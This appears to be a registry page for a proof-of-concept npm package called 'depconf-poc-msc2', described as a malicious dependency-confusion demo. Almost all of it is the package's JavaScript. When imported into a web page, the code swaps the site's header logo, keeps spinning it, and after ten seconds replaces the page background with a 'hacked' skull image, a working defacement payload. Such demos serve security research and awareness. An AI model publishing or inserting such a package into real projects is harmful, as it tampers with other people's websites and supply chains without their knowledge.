depconf-poc-msc2
Version:
Dependency confusion demo - malicious
25 lines (18 loc) • 849 B
JavaScript
exports.printMsg = function() {
console.log("This dependency has been confused! Muwhaha!");
if (typeof document !== 'undefined' && document != null) {
let header = document.getElementById('header');
let logo = header.getElementsByTagName('img')[0];
logo.src = "https://www.secura.com/assets/secura/img/logo-secura-bureau-veritas.svg";
var rot = 1;
setInterval(function(){
rot = (rot + 1) % 360;
let rotation = "rotate(" + rot + "deg)";
logo.style.transform = rotation;
}, 10);
setTimeout(function(){
document.getElementsByTagName('html')[0].style.backgroundImage = "url('https://thumbs.dreamstime.com/b/cool-vector-hacked-glitch-text-skull-bones-illustration-style-dark-background-warning-hacker-attack-pirate-sign-si-136700841.jpg')";
}, 10000);
}
return "This dependency has been confused! Muwhaha!";
}